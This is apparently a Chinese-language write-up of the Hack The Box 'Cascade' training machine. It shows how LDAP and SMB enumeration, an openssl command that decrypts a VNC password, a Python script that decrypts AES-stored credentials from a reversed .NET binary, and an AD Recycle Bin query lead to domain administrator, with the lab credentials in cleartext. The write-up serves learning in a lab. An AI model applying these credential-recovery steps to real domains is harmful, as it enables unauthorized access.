HTB-Cascade
- 信息收集
- 立足
- s.smith -> arksvc
- 使用脚本获取CascAudit.exe加密的密码明文
- 修改IL指令获取
- arksvc -> administrator
信息收集
查看smbclient。
rpcclient空密码连接并收集信息。
收集到用户列表,此外没有有意思的信息。
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft
用crackmapexec对smb和winrm跑一遍均没结果。
看看能从LDAP上收集些什么。
ldapsearch -H ldap://10.10.10.182 -x -s base -b '' "(objectclass=*)" "*"
发现DC=cascade,DC=local
。
ldapsearch -H ldap://10.10.10.182 -x -s sub -b 'DC=cascade,DC=local' "(objectclass=user)" "*"
有一个Ryan Thompson
的用户以及此用户的cascadeLegacyPwd: clk0bjVldmE=
。
返回rpc收集到的用户表可以看到有一位r.thompson,这会不会是ryan thompson的smb用户名呢?
没错。
使用r.thompson:rY4n5eva
登录smb收集信息。
有这些share文件。
ADMIN$ Disk Remote AdminAudit$ Disk C$ Disk Default shareData Disk IPC$ IPC Remote IPCNETLOGON Disk Logon server share print$ Disk Printer DriversSYSVOL Disk Logon server share
不出意外末尾带$都无法访问。
DCs\dcdiag.log
Meeting_Notes_June_2018.html,从中可以获取到Steve Smith、TempAdmin:(password is the same as the normal admin account password)。
什么叫和普通admin用户密码一样,是什么环境下的admin用户,继续看看吧。Temp\s.smith\VNC Install.reg里面可以知道Windows Registry Editor Version 5.00。
里面还有一句"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f将其转为字符串看看。
搜索得知VNC是经过DES加密。
echo -n 6bcf2a4b6e5aca0f| xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv
获得密码。
立足
不出意外要先横向再纵向。
s.smith -> arksvc
收集s.smith用户信息。
可能Logon script的默认位置是Netlogon。
Logon script MapAuditDrive.vbs
想看看Shares目录,结果没权限。
可以通过smbclient查看NETLOGON。
使用s.smith的凭证登录smb看看。
下载当前目录下所有文件
以及X86和X64里面的文件
有如下文件。
RunAudit.bat文件类容如下,并且还有一个CascCrypto.dll文件,可能CascAudit.exe对这些文件做了什么处理。
逆向看看。
使用dnspy32打开。
重点是这几句。//定义str、password、str2为三个空字段
string str = string.Empty;
string password = string.Empty;
string str2 = string.Empty; using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader()) //数据库执行 ,并返回数据读取器{sqliteDataReader.Read(); //前进到结果集中的下一行str = Conversions.ToString(sqliteDataReader["Uname"]); //获取Uname列的值并转化为字符串赋予strstr2 = Conversions.ToString(sqliteDataReader["Domain"]); //同上string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]); //也同上try{password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");//重点来了将获得的encryptedString和c4scadek3y654321传入Crypto的DecryptString函数进行加密}catch (Exception ex){Console.WriteLine("Error decrypting password: " + ex.Message);return;}}
跟进函数查看内容。
public static string DecryptString(string EncryptedString, string Key){byte[] array = Convert.FromBase64String(EncryptedString);//将EncryptedString的base64转化为等价8位无符号整形数组Aes aes = Aes.Create(); //生成一个新的密码钥和vector (IV)aes.KeySize = 128;aes.BlockSize = 128;aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842"); //吧1tdyjCbY1Ix49842转化为UTF8编码组aes.Mode = CipherMode.CBC; //以CBC模式编码aes.Key = Encoding.UTF8.GetBytes(Key);//底下就是加密的一些过程string @string;using (MemoryStream memoryStream = new MemoryStream(array)){using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Read)){byte[] array2 = new byte[checked(array.Length - 1 + 1)];cryptoStream.Read(array2, 0, array2.Length);@string = Encoding.UTF8.GetString(array2);}}return @string;}
使用脚本获取CascAudit.exe加密的密码明文
根据分析可知CascAudit.exe对某个用户的PWD也就是password进行了AES的CBC模式加密。我们现在有了VI、KEY、还差Base64的密码。哎我数据库呢?重新下载好数据库后设置一个断点在PWD处运行即可获得我们需要的数据。
先在要断电的语句前面点一下添加断点。
接着调试,参数填写数据库的所在位置,中断于入口点。
一路F10跑下来获取PWD值。
当然也可以直接查看数据库内容
BQO5l5Kj9MdErXx6Q6AGOw==
from Crypto.Cipher import AES
import base64def decrypt(pwd, key, iv):cipher = AES.new(key, AES.MODE_CBC, iv)decryptByts = base64.b64decode(pwd)msg = cipher.decrypt(decryptByts)paddingLen = ord(msg[len(msg)-1])return msg[0:-paddingLen]if __name__ == "__main__":key = "c4scadek3y654321"iv = "1tdyjCbY1Ix49842"pwd ="BQO5l5Kj9MdErXx6Q6AGOw=="print decrypt(pwd, key, iv)
修改IL指令获取
找到加密的那条语句右键选择“编辑IL指令”。
找到那条加密语句单机选择“方法”,并找到EncryptString解密函数。
修改完成之后的样子。
最后一直F10到解密语句即可。
使用arksvc:w3lc0meFr31nd登录。
arksvc -> administrator
查看用户更多信息时发现了AD Recycle Bin。
AD Recycle Bin顾名思义,就是AD的回收桶,拥有恢复和删除的能力。前面我们从EMAIL知道有一个临时的admin密码和administrator是一样的,但是临时的admin账号密码在2018年底被删除了。去垃圾桶看看。
get-adobject -searchscope subtree -filter {displayname -eq “TempAdmin”} -includedeletedobjects 查看TempAdmin用户状况。
现在需要查看一下TempAdmin的更加详细的信息。在Microsoft learn官方文档有参数介绍,其中有一个-Properties参数用来查看指定对象属性,查看全部属性使用*。
Get-ADObject -Filter {samaccountName -eq "TempAdmin"} -IncludeDeletedObjects -Properties *
会得到cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz。
使用administrator:baCT3r1aN00dles
。